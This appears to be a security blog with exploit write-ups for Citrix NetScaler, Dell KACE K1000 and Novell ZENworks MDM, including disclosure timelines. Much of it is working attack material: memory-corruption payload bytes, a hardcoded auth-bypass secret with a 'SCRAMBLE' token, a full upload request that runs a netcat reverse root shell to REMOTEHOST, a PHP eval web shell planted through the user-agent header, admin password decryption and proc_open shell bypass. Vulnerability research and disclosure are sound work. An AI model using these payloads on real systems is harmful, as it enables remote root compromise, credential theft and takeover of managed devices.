resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to “pattern_offset” and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Friday, March 7, 2014

The curious case of the ninjamonkeypiratelaser backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
; About php.ini   ;
That bug is neat, but its post-auth and can’t be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named “kbot_upload.php”. This file is located on the appliance at the following location:
This script includes “KBotUpload.class.php” and then calls “KBotUpload::HandlePUT()”, it does not check for a valid session and utilizes its own “special” means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:
    private static function calcTokenChecksum($filename, $machineId, $mac)
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this “calcTokenChecksum” check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  
 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www” user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp”, time to escalate to something more useful :)

From our new home in “tmp” with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC (“KSudoClient.class.php”).

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
On our host:
    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.

Example PoC can be found at the following location:

Example usage can be seen below:

Tuesday, June 4, 2013

Novell Zenworks MDM: Mobile Device Management for the Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
I took a quick look around and didn’t see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.
The actual CVE details are as follows:
“Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter.”
After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

Pulling up the source for the “DUSAP.php” script the following code path stuck out pretty bad:

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== ''  &&  $Language != $_SESSION["language"])
     //check for validity
     if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
          $_SESSION["language"] = $Language;

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
In English:

  • Check if the "language" parameter is passed in on the request
  • If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
  • The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
  • If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
  • If the session variable "language" is set, include it into the page
  • Authenticate

So it is possible to include any file from the system as long as the provided path starts with “res/languages” and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:
egrep -R '\$_SESSION\[.*\] =' ./
This pulled up a ton of results, including the following:
 /desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
 Taking a look at the “download.php” file the following was observed:

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey']  > 0)

} else
     $_SESSION['$error'] = LOGIN_FAILED_TEXT;
     header('Location: index.php');

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:
 user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";
 Now, I’m sure if you are paying attention you’d say “wait, why don’t you just use exec/passthru/system”, well the application installs and configures IIS to use a “guest” account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are “encrypted”, but I kept seeing a function being used in PHP when trying to figure out how they were “encrypted”: mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']); 
Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:
This bit of PHP will read the HTTP post’s body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:
foreach($output+as &$temp){echo+$temp."\\r\\n";};
The key here is the “bypass_shell” option that is passed to “proc_open”. Since all files that are created by the process user in the PHP “temp” directory are created with “all of the things” permissions, we can point “proc_open” at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

Update: Metasploit modules are now available as part of metasploit.